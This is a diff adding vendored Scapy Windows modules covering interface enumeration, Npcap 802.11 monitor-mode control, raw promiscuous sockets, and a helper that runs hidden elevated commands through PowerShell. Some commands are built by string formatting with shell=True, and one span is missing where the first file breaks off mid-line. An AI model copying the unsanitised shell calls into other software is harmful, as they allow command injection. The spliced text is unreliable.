socket.IPPROTO_IPIP = 4 +if not hasattr(socket, 'IP_RECVTTL'): + socket.IP_RECVTTL = 12 +if not hasattr(socket, 'IPV6_HDRINCL'): + socket.IPV6_HDRINCL = 36 +# https://bugs.python.org/issue29515 +if not hasattr(socket, 'IPPROTO_IPV6'): + socket.SOL_IPV6 = 41 +if not hasattr(socket, 'SOL_IPV6'): + socket.SOL_IPV6 = socket.IPPROTO_IPV6 +if not hasattr(socket, 'IPPROTO_GRE'): + socket.IPPROTO_GRE = 47 +if not hasattr(socket, 'IPPROTO_AH'): + socket.IPPROTO_AH = 51 +if not hasattr(socket, 'IPPROTO_ESP'): + socket.IPPROTO_ESP = 50 + +_WlanHelper = NPCAP_PATH + "\\WlanHelper.exe" + + +def _encapsulate_admin(cmd): + """Encapsulate a command with an Administrator flag""" + # To get admin access, we start a new powershell instance with admin + # rights, which will execute the command. This needs to be done from a + # powershell as we run it from a cmd. + # ! Behold ! + return ("powershell /command \"Start-Process cmd " + "-windowstyle hidden -Wait -PassThru -Verb RunAs " + "-ArgumentList '/c %s'\"" % cmd) + + +def _get_npcap_config(param_key): + """ + Get a Npcap parameter matching key in the registry. + + List: + AdminOnly, DefaultFilterSettings, DltNull, Dot11Adapters, Dot11Support + LoopbackAdapter, LoopbackSupport, NdisImPlatformBindingOptions, VlanSupport + WinPcapCompatible + """ + hkey = winreg.HKEY_LOCAL_MACHINE + node = r"SYSTEM\CurrentControlSet\Services\npcap\Parameters" + try: + key = winreg.OpenKey(hkey, node) + dot11_adapters, _ = winreg.QueryValueEx(key, param_key) + winreg.CloseKey(key) + except WindowsError: + return None + return dot11_adapters + + +def _where(filename, dirs=None, env="PATH"): + """Find file in current dir, in deep_lookup cache or in system path""" + if dirs is None: + dirs = [] + if not isinstance(dirs, list): + dirs = [dirs] + if glob(filename): + return filename + paths = [os.curdir] + os.environ[env].split(os.path.pathsep) + dirs + try: + return next(os.path.normpath(match) + for path in paths + for match in glob(os.path.join(path, filename)) + if match) + except (StopIteration, RuntimeError): + raise IOError("File not found: %s" % filename) + + +def win_find_exe(filename, installsubdir=None, env="ProgramFiles"): + """Find executable in current dir, system path or in the + given ProgramFiles subdir, and retuen its absolute path. + """ + fns = [filename] if filename.endswith(".exe") else [filename + ".exe", filename] # noqa: E501 + for fn in fns: + try: + if installsubdir is None: + path = _where(fn) + else: + path = _where(fn, dirs=[os.path.join(os.environ[env], installsubdir)]) # noqa: E501 + except IOError: + path = None + else: + break + return path + + +class WinProgPath(ConfClass): + _default = "" + + def __init__(self): + self._reload() + + def _reload(self): + self.pdfreader = None + self.psreader = None + self.svgreader = None + # We try some magic to find the appropriate executables + self.dot = win_find_exe("dot") + self.tcpdump = win_find_exe("windump") + self.tshark = win_find_exe("tshark") + self.tcpreplay = win_find_exe("tcpreplay") + self.display = self._default + self.hexedit = win_find_exe("hexer") + self.sox = win_find_exe("sox") + self.wireshark = win_find_exe("wireshark", "wireshark") + self.usbpcapcmd = win_find_exe( + "USBPcapCMD", + installsubdir="USBPcap", + env="programfiles" + ) + self.powershell = win_find_exe( + "powershell", + installsubdir="System32\\WindowsPowerShell\\v1.0", + env="SystemRoot" + ) + self.cscript = win_find_exe("cscript", installsubdir="System32", + env="SystemRoot") + self.cmd = win_find_exe("cmd", installsubdir="System32", + env="SystemRoot") + if self.wireshark: + try: + new_manuf = load_manuf( + os.path.sep.join( + self.wireshark.split(os.path.sep)[:-1] + ) + os.path.sep + "manuf" + ) + except (IOError, OSError): # FileNotFoundError not available on Py2 - using OSError # noqa: E501 + log_loading.warning("Wireshark is installed, but cannot read manuf !") # noqa: E501 + new_manuf = None + if new_manuf: + # Inject new ManufDB + conf.manufdb.__dict__.clear() + conf.manufdb.__dict__.update(new_manuf.__dict__) + + +def _exec_cmd(command): + """Call a CMD command and return the output and returncode""" + proc = sp.Popen(command, + stdout=sp.PIPE, + shell=True) + res = proc.communicate()[0] + return res, proc.returncode + + +conf.prog = WinProgPath() + +if conf.prog.tcpdump and conf.use_npcap: + def test_windump_npcap(): + """Return whether windump version is correct or not""" + try: + p_test_windump = sp.Popen([conf.prog.tcpdump, "-help"], stdout=sp.PIPE, stderr=sp.STDOUT) # noqa: E501 + stdout, err = p_test_windump.communicate() + _windows_title() + _output = stdout.lower() + return b"npcap" in _output and b"winpcap" not in _output + except Exception: + return False + windump_ok = test_windump_npcap() + if not windump_ok: + warning("The installed Windump version does not work with Npcap ! Refer to 'Winpcap/Npcap conflicts' in scapy's doc") # noqa: E501 + del windump_ok + + +def get_windows_if_list(extended=False): + """Returns windows interfaces through GetAdaptersAddresses. + + params: + - extended: include anycast and multicast IPv6 (default False)""" + # Should work on Windows XP+ + def _get_mac(x): + size = x["physical_address_length"] + if size != 6: + return "" + data = bytearray(x["physical_address"]) + return str2mac(bytes(data)[:size]) + + def _get_ips(x): + unicast = x['first_unicast_address'] + anycast = x['first_anycast_address'] + multicast = x['first_multicast_address'] + + def _resolve_ips(y): + if not isinstance(y, list): + return [] + ips = [] + for ip in y: + addr = ip['address']['address'].contents + if addr.si_family == socket.AF_INET6: + ip_key = "Ipv6" + si_key = "sin6_addr" + else: + ip_key = "Ipv4" + si_key = "sin_addr" + data = getattr(addr, ip_key) + data = getattr(data, si_key) + data = bytes(bytearray(data.byte)) + # Build IP + if data: + ips.append(inet_ntop(addr.si_family, data)) + return ips + + ips = [] + ips.extend(_resolve_ips(unicast)) + if extended: + ips.extend(_resolve_ips(anycast)) + ips.extend(_resolve_ips(multicast)) + return ips + + if six.PY2: + _str_decode = lambda x: x.encode('utf8', errors='ignore') + else: + _str_decode = plain_str + return [ + { + "name": _str_decode(x["friendly_name"]), + "win_index": x["interface_index"], + "description": _str_decode(x["description"]), + "guid": _str_decode(x["adapter_name"]), + "mac": _get_mac(x), + "ipv4_metric": 0 if WINDOWS_XP else x["ipv4_metric"], + "ipv6_metric": 0 if WINDOWS_XP else x["ipv6_metric"], + "ips": _get_ips(x) + } for x in GetAdaptersAddresses() + ] + + +def get_ips(v6=False): + """Returns all available IPs matching to interfaces, using the windows system. + Should only be used as a WinPcapy fallback.""" + res = {} + for iface in six.itervalues(IFACES): + ips = [] + for ip in iface.ips: + if v6 and ":" in ip: + ips.append(ip) + elif not v6 and ":" not in ip: + ips.append(ip) + res[iface] = ips + return res + + +def get_ip_from_name(ifname, v6=False): + """Backward compatibility: indirectly calls get_ips + Deprecated.""" + iface = IFACES.dev_from_name(ifname) + return get_ips(v6=v6).get(iface, [""])[0] + + +def _pcapname_to_guid(pcap_name): + """Converts a Winpcap/Npcap pcpaname to its guid counterpart. + e.g. \\DEVICE\\NPF_{...} => {...} + """ + if "{" in pcap_name: + return "{" + pcap_name.split("{")[1] + return pcap_name + + +class NetworkInterface(object): + """A network interface of your local host""" + + def __init__(self, data=None): + self.name = None + self.ip = None + self.ip6 = None + self.mac = None + self.pcap_name = None + self.description = None + self.invalid = False + self.raw80211 = None + self.cache_mode = None + self.ipv4_metric = None + self.ipv6_metric = None + self.ips = None + self.flags = None + if data is not None: + self.update(data) + + def update(self, data): + """Update info about a network interface according + to a given dictionary. Such data is provided by get_windows_if_list + """ + self.data = data + self.name = data['name'] + self.pcap_name = data['pcap_name'] + self.description = data['description'] + self.win_index = data['win_index'] + self.guid = data['guid'] + self.mac = data['mac'] + self.ipv4_metric = data['ipv4_metric'] + self.ipv6_metric = data['ipv6_metric'] + self.ips = data['ips'] + self.flags = data['flags'] + self.invalid = data['invalid'] + + try: + # Npcap loopback interface + if conf.use_npcap and self.pcap_name == NPCAP_LOOPBACK_NAME: + # https://nmap.org/npcap/guide/npcap-devguide.html + self.mac = "00:00:00:00:00:00" + self.ip = "127.0.0.1" + self.ip6 = "::1" + return + except KeyError: + pass + + # Chose main IPv4 + if self.ips: + try: + self.ip = next(x for x in self.ips if ":" not in x) + except StopIteration: + pass + try: + self.ip6 = next(x for x in self.ips if ":" in x) + except IndexError: + pass + if not self.ip and not self.ip6: + self.invalid = True + + def __hash__(self): + return hash(self.guid) + + def __eq__(self, other): + if isinstance(other, str): + return self.name == other or self.pcap_name == other + if isinstance(other, NetworkInterface): + return self.data == other.data + return object.__eq__(self, other) + + def is_invalid(self): + return self.invalid + + def _check_npcap_requirement(self): + if not conf.use_npcap: + raise OSError("This operation requires Npcap.") + if self.raw80211 is None: + val = _get_npcap_config("Dot11Support") + self.raw80211 = bool(int(val)) if val else False + if not self.raw80211: + raise Scapy_Exception("This interface does not support raw 802.11") + + def _npcap_set(self, key, val): + """Internal function. Set a [key] parameter to [value]""" + res, code = _exec_cmd(_encapsulate_admin( + " ".join([_WlanHelper, self.guid[1:-1], key, val]) + )) + _windows_title() # Reset title of the window + if code != 0: + raise OSError(res.decode("utf8", errors="ignore")) + return True + + def _npcap_get(self, key): + res, code = _exec_cmd(" ".join([_WlanHelper, self.guid[1:-1], key])) + _windows_title() # Reset title of the window + if code != 0: + raise OSError(res.decode("utf8", errors="ignore")) + return plain_str(res.strip()) + + def mode(self): + """Get the interface operation mode. + Only available with Npcap.""" + self._check_npcap_requirement() + return self._npcap_get("mode") + + def ismonitor(self): + """Returns True if the interface is in monitor mode. + Only available with Npcap.""" + if self.cache_mode is not None: + return self.cache_mode + try: + res = (self.mode() == "monitor") + self.cache_mode = res + return res + except Scapy_Exception: + return False + + def setmonitor(self, enable=True): + """Alias for setmode('monitor') or setmode('managed') + Only available with Npcap""" + # We must reset the monitor cache + if enable: + res = self.setmode('monitor') + else: + res = self.setmode('managed') + if not res: + log_runtime.error("Npcap WlanHelper returned with an error code !") + self.cache_mode = None + tmp = self.cache_mode = self.ismonitor() + return tmp if enable else (not tmp) + + def availablemodes(self): + """Get all available interface modes. + Only available with Npcap.""" + # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 + self._check_npcap_requirement() + return self._npcap_get("modes").split(",") + + def setmode(self, mode): + """Set the interface mode. It can be: + - 0 or managed: Managed Mode (aka "Extensible Station Mode") + - 1 or monitor: Monitor Mode (aka "Network Monitor Mode") + - 2 or master: Master Mode (aka "Extensible Access Point") + (supported from Windows 7 and later) + - 3 or wfd_device: The Wi-Fi Direct Device operation mode + (supported from Windows 8 and later) + - 4 or wfd_owner: The Wi-Fi Direct Group Owner operation mode + (supported from Windows 8 and later) + - 5 or wfd_client: The Wi-Fi Direct Client operation mode + (supported from Windows 8 and later) + Only available with Npcap.""" + # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 + self._check_npcap_requirement() + _modes = { + 0: "managed", + 1: "monitor", + 2: "master", + 3: "wfd_device", + 4: "wfd_owner", + 5: "wfd_client" + } + m = _modes.get(mode, "unknown") if isinstance(mode, int) else mode + return self._npcap_set("mode", m) + + def channel(self): + """Get the channel of the interface. + Only available with Npcap.""" + # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 + self._check_npcap_requirement() + return int(self._npcap_get("channel")) + + def setchannel(self, channel): + """Set the channel of the interface (1-14): + Only available with Npcap.""" + # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 + self._check_npcap_requirement() + return self._npcap_set("channel", str(channel)) + + def frequence(self): + """Get the frequence of the interface. + Only available with Npcap.""" + # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 + self._check_npcap_requirement() + return int(self._npcap_get("freq")) + + def setfrequence(self, freq): + """Set the channel of the interface (1-14): + Only available with Npcap.""" + # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 + self._check_npcap_requirement() + return self._npcap_set("freq", str(freq)) + + def availablemodulations(self): + """Get all available 802.11 interface modulations. + Only available with Npcap.""" + # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 + self._check_npcap_requirement() + return self._npcap_get("modus").split(",") + + def modulation(self): + """Get the 802.11 modulation of the interface. + Only available with Npcap.""" + # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 + self._check_npcap_requirement() + return self._npcap_get("modu") + + def setmodulation(self, modu): + """Set the interface modulation. It can be: + - 0: dsss + - 1: fhss + - 2: irbaseband + - 3: ofdm + - 4: hrdss + - 5: erp + - 6: ht + - 7: vht + - 8: ihv + - 9: mimo-ofdm + - 10: mimo-ofdm + - the value directly + Only available with Npcap.""" + # According to https://nmap.org/npcap/guide/npcap-devguide.html#npcap-feature-dot11 # noqa: E501 + self._check_npcap_requirement() + _modus = { + 0: "dsss", + 1: "fhss", + 2: "irbaseband", + 3: "ofdm", + 4: "hrdss", + 5: "erp", + 6: "ht", + 7: "vht", + 8: "ihv", + 9: "mimo-ofdm", + 10: "mimo-ofdm", + } + m = _modus.get(modu, "unknown") if isinstance(modu, int) else modu + return self._npcap_set("modu", str(m)) + + def __repr__(self): + return "<%s [%s] %s>" % (self.__class__.__name__, + self.description, + self.guid) + + +def get_if_raw_addr(iff): + """Return the raw IPv4 address of interface""" + if not iff.ip: + return None + return inet_pton(socket.AF_INET, iff.ip) + + +def pcap_service_name(): + """Return the pcap adapter service's name""" + return "npcap" if conf.use_npcap else "npf" + + +def pcap_service_status(): + """Returns whether the windows pcap adapter is running or not""" + status = get_service_status(pcap_service_name()) + return status["dwCurrentState"] == 4 + + +def _pcap_service_control(action, askadmin=True): + """Internal util to run pcap control command""" + command = action + ' ' + pcap_service_name() + res, code = _exec_cmd(_encapsulate_admin(command) if askadmin else command) + if code != 0: + warning(res.decode("utf8", errors="ignore")) + return (code == 0) + + +def pcap_service_start(askadmin=True): + """Starts the pcap adapter. Will ask for admin. Returns True if success""" + return _pcap_service_control('sc start', askadmin=askadmin) + + +def pcap_service_stop(askadmin=True): + """Stops the pcap adapter. Will ask for admin. Returns True if success""" + return _pcap_service_control('sc stop', askadmin=askadmin) + + +class NetworkInterfaceDict(UserDict): + """Store information about network interfaces and convert between names""" + + @classmethod + def _pcap_check(cls): + """Performs checks/restart pcap adapter""" + if not conf.use_pcap: + # Winpcap/Npcap isn't installed + return + + _detect = pcap_service_status() + + def _ask_user(): + if not conf.interactive: + return False + msg = "Do you want to start it ? (yes/no) [y]: " + try: + # Better IPython compatibility + import IPython + return IPython.utils.io.ask_yes_no(msg, default='y') + except (NameError, ImportError): + while True: + _confir = input(msg) + _confir = _confir.lower().strip() + if _confir in ["yes", "y", ""]: + return True + elif _confir in ["no", "n"]: + return False + if _detect: + # No action needed + return + else: + warning( + "Scapy has detected that your pcap service is not running !" + ) + if not conf.interactive or _ask_user(): + succeed = pcap_service_start(askadmin=conf.interactive) + if succeed: + log_loading.info("Pcap service started !") + return + warning("Could not start the pcap service ! " + "You probably won't be able to send packets. " + "Deactivating unneeded interfaces and restarting " + "Scapy might help. Check your winpcap/npcap installation " + "and access rights.") + + def load(self): + if not get_if_list(): + # Try a restart + NetworkInterfaceDict._pcap_check() + + windows_interfaces = dict() + for i in get_windows_if_list(): + # Detect Loopback interface + if "Loopback" in i['name']: + i['name'] = conf.loopback_name + if i['guid']: + if conf.use_npcap and i['name'] == conf.loopback_name: + i['guid'] = NPCAP_LOOPBACK_NAME + windows_interfaces[i['guid']] = i + + index = 0 + for pcap_name, if_data in six.iteritems(conf.cache_iflist): + name, ips, flags = if_data + guid = _pcapname_to_guid(pcap_name) + data = windows_interfaces.get(guid, None) + if data: + # Exists in Windows registry + data['pcap_name'] = pcap_name + data['ips'].extend(ips) + data['flags'] = flags + data['invalid'] = False + else: + # Only in [Wi]npcap + index -= 1 + data = { + 'name': name, + 'pcap_name': pcap_name, + 'description': name, + 'win_index': index, + 'guid': guid, + 'invalid': False, + 'mac': '00:00:00:00:00:00', + 'ipv4_metric': 0, + 'ipv6_metric': 0, + 'ips': ips, + 'flags': flags + } + # No KeyError will happen here, as we get it from cache + self.data[guid] = NetworkInterface(data) + + def dev_from_name(self, name): + """Return the first pcap device name for a given Windows + device name. + """ + try: + return next(iface for iface in six.itervalues(self) + if (iface.name == name or iface.description == name)) + except (StopIteration, RuntimeError): + raise ValueError("Unknown network interface %r" % name) + + def dev_from_pcapname(self, pcap_name): + """Return Windows device name for given pcap device name.""" + try: + return next(iface for iface in six.itervalues(self) + if iface.pcap_name == pcap_name) + except (StopIteration, RuntimeError): + raise ValueError("Unknown pypcap network interface %r" % pcap_name) + + def dev_from_index(self, if_index): + """Return interface name from interface index""" + try: + if_index = int(if_index) # Backward compatibility + return next(iface for iface in six.itervalues(self) + if iface.win_index == if_index) + except (StopIteration, RuntimeError): + if str(if_index) == "1": + return IFACES.dev_from_pcapname(conf.loopback_name) + raise ValueError("Unknown network interface index %r" % if_index) + + def reload(self): + """Reload interface list""" + self.restarted_adapter = False + self.data.clear() + if conf.use_pcap: + # Reload from Winpcapy + from scapy.arch.pcapdnet import load_winpcapy + load_winpcapy() + self.load() + # Reload conf.iface + conf.iface = get_working_if() + + def show(self, resolve_mac=True, print_result=True): + """Print list of available network interfaces in human readable form""" + res = [] + for iface_name in sorted(self.data): + dev = self.data[iface_name] + mac = dev.mac + if resolve_mac and conf.manufdb: + mac = conf.manufdb._resolve_MAC(mac) + validity_color = lambda x: conf.color_theme.red if x else \ + conf.color_theme.green + description = validity_color(dev.is_invalid())( + str(dev.description) + ) + index = str(dev.win_index) + res.append((index, description, str(dev.ip), str(dev.ip6), mac)) + + res = pretty_list( + res, + [("INDEX", "IFACE", "IPv4", "IPv6", "MAC")], + sortBy=2 + ) + if print_result: + print(res) + else: + return res + + def __repr__(self): + return self.show(print_result=False) + + +IFACES = ifaces = NetworkInterfaceDict() +IFACES.load() + + +def pcapname(dev): + """Get the device pcap name by device name or Scapy NetworkInterface + + """ + if isinstance(dev, NetworkInterface): + if dev.is_invalid(): + return None + return dev.pcap_name + try: + return IFACES.dev_from_name(dev).pcap_name + except ValueError: + return IFACES.dev_from_pcapname(dev).pcap_name + + +def dev_from_pcapname(pcap_name): + """Return Scapy device name for given pcap device name""" + return IFACES.dev_from_pcapname(pcap_name) + + +def dev_from_index(if_index): + """Return Windows adapter name for given Windows interface index""" + return IFACES.dev_from_index(if_index) + + +def show_interfaces(resolve_mac=True): + """Print list of available network interfaces""" + return IFACES.show(resolve_mac) + + +if conf.use_pcap: + _orig_open_pcap = pcapdnet.open_pcap + + def open_pcap(iface, *args, **kargs): + """open_pcap: Windows routine for creating a pcap from an interface. + This function is also responsible for detecting monitor mode. + """ + iface_pcap_name = pcapname(iface) + if not isinstance(iface, NetworkInterface) and \ + iface_pcap_name is not None: + iface = IFACES.dev_from_name(iface) + if iface is None or iface.is_invalid(): + raise Scapy_Exception( + "Interface is invalid (no pcap match found) !" + ) + # Only check monitor mode when manually specified. + # Checking/setting for monitor mode will slow down the process, and the + # common is case is not to use monitor mode + kw_monitor = kargs.get("monitor", None) + if conf.use_npcap and kw_monitor is not None: + monitored = iface.ismonitor() + if kw_monitor is not monitored: + # The monitor param is specified, and not matching the current + # interface state + iface.setmonitor(kw_monitor) + return _orig_open_pcap(iface_pcap_name, *args, **kargs) + pcapdnet.open_pcap = open_pcap + +get_if_raw_hwaddr = pcapdnet.get_if_raw_hwaddr = lambda iface, *args, **kargs: ( # noqa: E501 + ARPHDR_ETHER, mac2str(IFACES.dev_from_pcapname(pcapname(iface)).mac) +) + + +def _read_routes_c_v1(): + """Retrieve Windows routes through a GetIpForwardTable call. + + This is compatible with XP but won't get IPv6 routes.""" + def _extract_ip(obj): + return inet_ntop(socket.AF_INET, struct.pack(" +# Copyright (C) Gabriel Potter +# This program is published under a GPLv2 license + +""" +Native Microsoft Windows sockets (L3 only) + +## Notice: ICMP packets + +DISCLAIMER: Please use Npcap/Winpcap to send/receive ICMP. It is going to work. +Below is some additional information, mainly implemented in a testing purpose. + +When in native mode, everything goes through the Windows kernel. +This firstly requires that the Firewall is open. Be sure it allows ICMPv4/6 +packets in and out. +Windows may drop packets that it finds wrong. for instance, answers to +ICMP packets with id=0 or seq=0 may be dropped. It means that sent packets +should (most of the time) be perfectly built. + +A perfectly built ICMP req packet on Windows means that its id is 1, its +checksum (IP and ICMP) are correctly built, but also that its seq number is +in the "allowed range". + In fact, every time an ICMP packet is sent on Windows, a global sequence +number is increased, which is only reset at boot time. The seq number of the +received ICMP packet must be in the range [current, current + 3] to be valid, +and received by the socket. The current number is quite hard to get, thus we +provide in this module the get_actual_icmp_seq() function. + +Example: + >>> conf.use_pcap = False + >>> a = conf.L3socket() + # This will (most likely) work: + >>> current = get_current_icmp_seq() + >>> a.sr(IP(dst="www.google.com", ttl=128)/ICMP(id=1, seq=current)) + # This won't: + >>> a.sr(IP(dst="www.google.com", ttl=128)/ICMP()) + +PS: on computers where the firewall isn't open, Windows temporarily opens it +when using the `ping` util from cmd.exe. One can first call a ping on cmd, +then do custom calls through the socket using get_current_icmp_seq(). See +the tests (windows.uts) for an example. +""" + +import io +import os +import socket +import subprocess +import time + +from scapy.automaton import SelectableObject +from scapy.arch.common import _select_nonblock +from scapy.arch.windows.structures import GetIcmpStatistics +from scapy.compat import raw +from scapy.config import conf +from scapy.data import MTU +from scapy.error import Scapy_Exception, warning +from scapy.supersocket import SuperSocket + +# Watch out for import loops (inet...) + + +class L3WinSocket(SuperSocket, SelectableObject): + desc = "a native Layer 3 (IPv4) raw socket under Windows" + nonblocking_socket = True + __slots__ = ["promisc", "cls", "ipv6", "proto"] + + def __init__(self, iface=None, proto=socket.IPPROTO_IP, + ttl=128, ipv6=False, promisc=True, **kwargs): + from scapy.layers.inet import IP + from scapy.layers.inet6 import IPv6 + for kwarg in kwargs: + warning("Dropping unsupported option: %s" % kwarg) + af = socket.AF_INET6 if ipv6 else socket.AF_INET + self.proto = proto + if ipv6: + from scapy.arch import get_if_addr6 + self.host_ip6 = get_if_addr6(conf.iface) or "::1" + if proto == socket.IPPROTO_IP: + # We'll restrict ourselves to UDP, as TCP isn't bindable + # on AF_INET6 + self.proto = socket.IPPROTO_UDP + # On Windows, with promisc=False, you won't get much + self.ipv6 = ipv6 + self.cls = IPv6 if ipv6 else IP + self.promisc = promisc + # Notes: + # - IPPROTO_RAW only works to send packets. + # - IPPROTO_IPV6 exists in MSDN docs, but using it will result in + # no packets being received. Same for its options (IPV6_HDRINCL...) + # However, using IPPROTO_IP with AF_INET6 will still receive + # the IPv6 packets + try: + self.ins = socket.socket(af, + socket.SOCK_RAW, + self.proto) + self.outs = socket.socket(af, + socket.SOCK_RAW, + socket.IPPROTO_RAW) + except OSError as e: + if e.errno == 10013: + raise OSError("Windows native L3 Raw sockets are only " + "usable as administrator ! " + "Install Winpcap/Npcap to workaround !") + raise + self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + self.ins.setsockopt(socket.SOL_SOCKET, socket.SO_RCVBUF, 2**30) + self.outs.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 2**30) + # IOCTL Include IP headers + self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + self.outs.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + # set TTL + self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, ttl) + self.outs.setsockopt(socket.IPPROTO_IP, socket.IP_TTL, ttl) + # Bind on all ports + iface = iface or conf.iface + host = iface.ip if iface.ip else socket.gethostname() + self.ins.bind((host, 0)) + self.ins.setblocking(False) + # Get as much data as possible: reduce what is cropped + if ipv6: + try: # Not all Windows versions + self.ins.setsockopt(socket.IPPROTO_IPV6, + socket.IPV6_RECVTCLASS, 1) + self.ins.setsockopt(socket.IPPROTO_IPV6, + socket.IPV6_HOPLIMIT, 1) + except (OSError, socket.error): + pass + else: + try: # Not Windows XP + self.ins.setsockopt(socket.IPPROTO_IP, + socket.IP_RECVDSTADDR, 1) + except (OSError, socket.error): + pass + try: # Windows 10+ recent builds only + self.ins.setsockopt(socket.IPPROTO_IP, socket.IP_RECVTTL, 1) + except (OSError, socket.error): + pass + if promisc: + # IOCTL Receive all packets + self.ins.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + def send(self, x): + data = raw(x) + if self.cls not in x: + raise Scapy_Exception("L3WinSocket can only send IP/IPv6 packets !" + " Install Npcap/Winpcap to send more") + dst_ip = str(x[self.cls].dst) + self.outs.sendto(data, (dst_ip, 0)) + + def nonblock_recv(self, x=MTU): + return self.recv() + + # https://docs.microsoft.com/en-us/windows/desktop/winsock/tcp-ip-raw-sockets-2 # noqa: E501 + # - For IPv4 (address family of AF_INET), an application receives the IP + # header at the front of each received datagram regardless of the + # IP_HDRINCL socket option. + # - For IPv6 (address family of AF_INET6), an application receives + # everything after the last IPv6 header in each received datagram + # regardless of the IPV6_HDRINCL socket option. The application does + # not receive any IPv6 headers using a raw socket. + + def recv_raw(self, x=MTU): + try: + data, address = self.ins.recvfrom(x) + except io.BlockingIOError: + return None, None, None + from scapy.layers.inet import IP + from scapy.layers.inet6 import IPv6 + if self.ipv6: + # AF_INET6 does not return the IPv6 header. Let's build it + # (host, port, flowinfo, scopeid) + host, _, flowinfo, _ = address + header = raw(IPv6(src=host, + dst=self.host_ip6, + fl=flowinfo, + nh=self.proto, # fixed for AF_INET6 + plen=len(data))) + return IPv6, header + data, time.time() + else: + return IP, data, time.time() + + def check_recv(self): + return True + + def close(self): + if not self.closed and self.promisc: + self.ins.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + super(L3WinSocket, self).close() + + @staticmethod + def select(sockets, remain=None): + return _select_nonblock(sockets, remain=remain) + + +class L3WinSocket6(L3WinSocket): + desc = "a native Layer 3 (IPv6) raw socket under Windows" + + def __init__(self, **kwargs): + super(L3WinSocket6, self).__init__(ipv6=True, **kwargs) + + +def open_icmp_firewall(host): + """Temporarily open the ICMP firewall. Tricks Windows into allowing + ICMP packets for a short period of time (~ 1 minute)""" + # We call ping with a timeout of 1ms: will return instantly + with open(os.devnull, 'wb') as DEVNULL: + return subprocess.Popen("ping -4 -w 1 -n 1 %s" % host, + shell=True, + stdout=DEVNULL, + stderr=DEVNULL).wait() + + +def get_current_icmp_seq(): + """See help(scapy.arch.windows.native) for more information. + Returns the current ICMP seq number.""" + return GetIcmpStatistics()['stats']['icmpOutStats']['dwEchos'] diff --git a/libs/scapy/arch/windows/structures.py b/libs/scapy/arch/windows/structures.py new file mode 100755 index 0000000..6bc9e9b --- /dev/null +++ b/libs/scapy/arch/windows/structures.py @@ -0,0 +1,585 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Philippe Biondi +# Copyright (C) Gabriel Potter +# This program is published under a GPLv2 license + +# flake8: noqa E266 +# (We keep comment boxes, it's then one-line comments) + +""" +C API calls to Windows DLLs +""" + +import ctypes +import ctypes.wintypes +from ctypes import Structure, POINTER, byref, create_string_buffer, WINFUNCTYPE + +from scapy.config import conf +from scapy.consts import WINDOWS_XP + +ANY_SIZE = 65500 # FIXME quite inefficient :/ +AF_UNSPEC = 0 +NO_ERROR = 0x0 + +CHAR = ctypes.c_char +DWORD = ctypes.wintypes.DWORD +BOOL = ctypes.wintypes.BOOL +BOOLEAN = ctypes.wintypes.BOOLEAN +ULONG = ctypes.wintypes.ULONG +ULONGLONG = ctypes.c_ulonglong +HANDLE = ctypes.wintypes.HANDLE +LPWSTR = ctypes.wintypes.LPWSTR +VOID = ctypes.c_void_p +INT = ctypes.c_int +UINT = ctypes.wintypes.UINT +UINT8 = ctypes.c_uint8 +UINT16 = ctypes.c_uint16 +UINT32 = ctypes.c_uint32 +UINT64 = ctypes.c_uint64 +BYTE = ctypes.c_byte +UCHAR = UBYTE = ctypes.c_ubyte +SHORT = ctypes.c_short +USHORT = ctypes.c_ushort + + +# UTILS + + +def _resolve_list(list_obj): + current = list_obj + _list = [] + while current and hasattr(current, "contents"): + _list.append(_struct_to_dict(current.contents)) + current = current.contents.next + return _list + + +def _struct_to_dict(struct_obj): + results = {} + for fname, ctype in struct_obj.__class__._fields_: + val = getattr(struct_obj, fname) + if fname == "next": + # Already covered by the trick below + continue + if issubclass(ctype, (Structure, ctypes.Union)): + results[fname] = _struct_to_dict(val) + elif val and hasattr(val, "contents"): + # Let's resolve recursive pointers + if hasattr(val.contents, "next"): + results[fname] = _resolve_list(val) + else: + results[fname] = val + else: + results[fname] = val + return results + +############################## +####### WinAPI handles ####### +############################## + +_winapi_SetConsoleTitle = ctypes.windll.kernel32.SetConsoleTitleW +_winapi_SetConsoleTitle.restype = BOOL +_winapi_SetConsoleTitle.argtypes = [LPWSTR] + +def _windows_title(title=None): + """Updates the terminal title with the default one or with `title` + if provided.""" + if conf.interactive: + _winapi_SetConsoleTitle(title or "Scapy v{}".format(conf.version)) + + +SC_HANDLE = HANDLE + +class SERVICE_STATUS(Structure): + """https://docs.microsoft.com/en-us/windows/desktop/api/winsvc/ns-winsvc-_service_status""" # noqa: E501 + _fields_ = [("dwServiceType", DWORD), + ("dwCurrentState", DWORD), + ("dwControlsAccepted", DWORD), + ("dwWin32ExitCode", DWORD), + ("dwServiceSpecificExitCode", DWORD), + ("dwCheckPoint", DWORD), + ("dwWaitHint", DWORD)] + + +OpenServiceW = ctypes.windll.Advapi32.OpenServiceW +OpenServiceW.restype = SC_HANDLE +OpenServiceW.argtypes = [SC_HANDLE, LPWSTR, DWORD] + +CloseServiceHandle = ctypes.windll.Advapi32.CloseServiceHandle +CloseServiceHandle.restype = BOOL +CloseServiceHandle.argtypes = [SC_HANDLE] + +OpenSCManagerW = ctypes.windll.Advapi32.OpenSCManagerW +OpenSCManagerW.restype = SC_HANDLE +OpenSCManagerW.argtypes = [LPWSTR, LPWSTR, DWORD] + +QueryServiceStatus = 